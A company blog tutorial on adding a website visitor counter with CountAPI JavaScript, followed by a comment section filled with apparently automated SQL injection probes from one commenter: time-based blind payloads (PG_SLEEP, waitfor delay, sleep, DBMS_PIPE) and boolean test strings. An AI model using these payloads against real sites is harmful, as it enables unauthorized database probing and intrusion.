Software Solutions Company

Visitor Counter on Website

Jan. 2, 2023
Author: Asif Shahzad | Full Stack Web Developer


How many people visit my website? This is the question in the mind of every website developer. Today, I give you the solution by using Count API-JavaScript. Just follow there simple steps to integrate:
 

1. Create Output

Add this code, where you want to show counter.

<h1>Visitors: <span id="visits"></span></h1>

 

2. Create Namespace and Key

Open the following URL in browser and replace the domain name.

https://api.countapi.xyz/create?namespace={domain of your website}&enable_reset=1

This will give you a key. The key look like below.

{"namespace":"mydomain.com","key":"6terr19ff9-bf33-3338-b9d5-5g1d1215254","value":0}

This is sample key that I generate for my website. Please keep your key secret for further use.

 

3. Call the count in Webpage

Now Copy/Paste the following script in between the head tags of your HTML file.

<script async src="https://api.countapi.xyz/hit/{namespace}/{key}?callback=websiteVisits"></script>

Replace {namespace} with your domain name and {key} with your key value.

 

4. Display count

Copy/Paste the following script at the end before the Body Tag.

<script type="text/javascript">
	function websiteVisits(response) {
    document.querySelector("#visits").textContent = response.value;}
</script>

Refresh the website, counter will show visitors. This will increment after every refresh.

Visitor: 1

 

5. Reset Value

Following code will reset the value to 0.

https://api.countapi.xyz/set/{namespace}/{key}?value={whatever you want, most likely 0}

Replace {namespace} with your domain name and {key} with your key value.

 

6. Check Total Counts

When you open the website, it will increment count. If you want to check counts without increment, copy/paste the following URL:

https://api.countapi.xyz/get/{namespace}/{key}

Replace {namespace} with your domain name and {key} with your key value.

This will show result without increment.

{"value":5}

 

 

I have a feeling that the tips and suggestions in this post will be helpful!

Please share this page to friends.

Asif Shahzad | Full Stack Web Developer

Welcome to our Software Solutions Company, where we excel in transforming ideas into tangible realities. We have expertise in developing online management systems, website designing & development, software solutions, mobile app development, e-commerce solutions and graphic designing. We provide 24/7 services.

Latest Comments

Software Solutions Company

pHqghUme

Oct 29, 2024

@@2K9B3

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

ukGYvFDx')) OR 834=(SELECT 834 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

dCruG5jC') OR 508=(SELECT 508 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

yPpi6uPG' OR 862=(SELECT 862 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 51=(SELECT 51 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 647=(SELECT 647 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

gGB1ycDY'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+107-107-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+107-107-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+317-317-1=0+0+0+1 or 'KGYDLB3v'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+317-317-1=0+0+0+1 or 'KGYDLB3v'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+959-959-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+959-959-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+923-923-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+923-923-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+983-983-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+983-983-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

qBjXslX6

Software Solutions Company

pHqghUme

Oct 29, 2024

@@CKMXH

Software Solutions Company

pHqghUme

Oct 29, 2024

����%2527%2522\'\"

Software Solutions Company

pHqghUme

Oct 29, 2024

'"

Software Solutions Company

pHqghUme

Oct 29, 2024

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Software Solutions Company

pHqghUme

Oct 29, 2024

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Software Solutions Company

pHqghUme

Oct 29, 2024

EKJfBRYI')) OR 472=(SELECT 472 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

PpaO4pnC') OR 906=(SELECT 906 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

nZ3mWMRK' OR 216=(SELECT 216 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1)) OR 555=(SELECT 555 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1) OR 116=(SELECT 116 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 551=(SELECT 551 FROM PG_SLEEP(15))--

Software Solutions Company

pHqghUme

Oct 29, 2024

uaXquoww'; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1); waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1; waitfor delay '0:0:15' --

Software Solutions Company

pHqghUme

Oct 29, 2024

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Software Solutions Company

pHqghUme

Oct 29, 2024

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

Software Solutions Company

pHqghUme

Oct 29, 2024

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

Software Solutions Company

pHqghUme

Oct 29, 2024

*if(now()=sysdate(),sleep(15),0)

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 3+169-169-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1" OR 2+169-169-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+310-310-1=0+0+0+1 or 'OCgE8YJg'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+310-310-1=0+0+0+1 or 'OCgE8YJg'='

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 3+630-630-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1' OR 2+630-630-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+54-54-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+54-54-1=0+0+0+1

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 3+415-415-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

-1 OR 2+415-415-1=0+0+0+1 --

Software Solutions Company

pHqghUme

Oct 29, 2024

jppx2M4Z

Popular Posts






Call To Action

Do you Need a website?

Order Now